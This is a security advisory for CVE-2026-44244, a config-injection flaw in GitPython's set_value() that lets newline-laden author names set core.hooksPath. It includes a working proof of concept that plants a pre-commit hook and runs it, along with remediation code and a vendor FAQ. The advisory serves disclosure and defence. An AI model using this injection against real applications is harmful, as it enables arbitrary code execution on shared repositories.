CVE-2026-44244

GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header, so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path.

The vulnerability is not merely malformed config output: GitPython's own writer converts embedded newlines into indented continuation lines, but Git still accepts an indented [core] stanza as a section header, so the injected core.hooksPath becomes effective configuration.

This was found while auditing MLRun's project.push() method, which passes author_name and author_email directly to config_writer().set_value() with no sanitization. Both parameters cross a trust boundary, they are caller-supplied API inputs that end up in .git/config.

PoC (standalone, no MLRun required):

import git, subprocess, os

repo = git.Repo("/tmp/testrepo")

with repo.config_writer() as cw:
    cw.set_value("user", "name", "foo\n[core]\nhooksPath=/tmp/hooks")

r = subprocess.run(["git", "config", "core.hooksPath"], cwd="/tmp/testrepo", capture_output=True, text=True)
assert r.returncode == 0
print(r.stdout.strip())  # /tmp/hooks

os.makedirs("/tmp/hooks", exist_ok=True)
open("/tmp/hooks/pre-commit", "w").write("#!/bin/sh\nid > /tmp/pwned\n")
os.chmod("/tmp/hooks/pre-commit", 0o755)

repo.index.add(["README"])
repo.git.commit(m="test")
print(open("/tmp/pwned").read())  # uid=...

Tested on GitPython 3.1.46, git 2.39+.

Impact: This is persistent repo config poisoning. Any user who can supply author_name or author_email to an application calling config_writer().set_value() can redirect Git hook execution to an arbitrary path. In a multi-user or hosted environment (e.g. a shared MLRun server where multiple users push to the same repositories), one user can poison the .git/config of a shared repo and have their hooks run in the context of every subsequent Git operation by any user. On single-user deployments, the impact depends on whether the application later invokes Git hooks automatically.

Remediation: set_value() should raise on CR, LF, or NUL in values rather than silently pass them through:

import re

if isinstance(value, (str, bytes)) and re.search(r"[\r\n\x00]", str(value)):
    raise ValueError("Git config values must not contain CR, LF, or NUL")

Rejecting is safer than stripping, a stripped newline might indicate the caller is passing unsanitized input at a higher level, and silent normalization masks that.

Affected wherever config_writer().set_value(section, key, user_input) is called with external input.** GitPython is a dependency of DVC, MLflow, Kedro, and others, worth auditing their set_value() call sites for externally influenced inputs.

Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.

CVE-2026-44244 has a CVSS score of 7.8 (High). The vector is requires local access, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.1.49); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-44244? CVE-2026-44244 is a high-severity code injection vulnerability in GitPython (pip), affecting versions <= 3.1.48. It is fixed in 3.1.49. Untrusted input is evaluated as executable code within the application's runtime environment.
2. How severe is CVE-2026-44244? CVE-2026-44244 has a CVSS score of 7.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of GitPython are affected by CVE-2026-44244? GitPython (pip) versions <= 3.1.48 is affected.
4. Is there a fix for CVE-2026-44244? Yes. CVE-2026-44244 is fixed in 3.1.49. Upgrade to this version or later.
5. Is CVE-2026-44244 exploitable, and should I be worried? Whether CVE-2026-44244 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-44244 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-44244? Upgrade GitPython to 3.1.49 or later.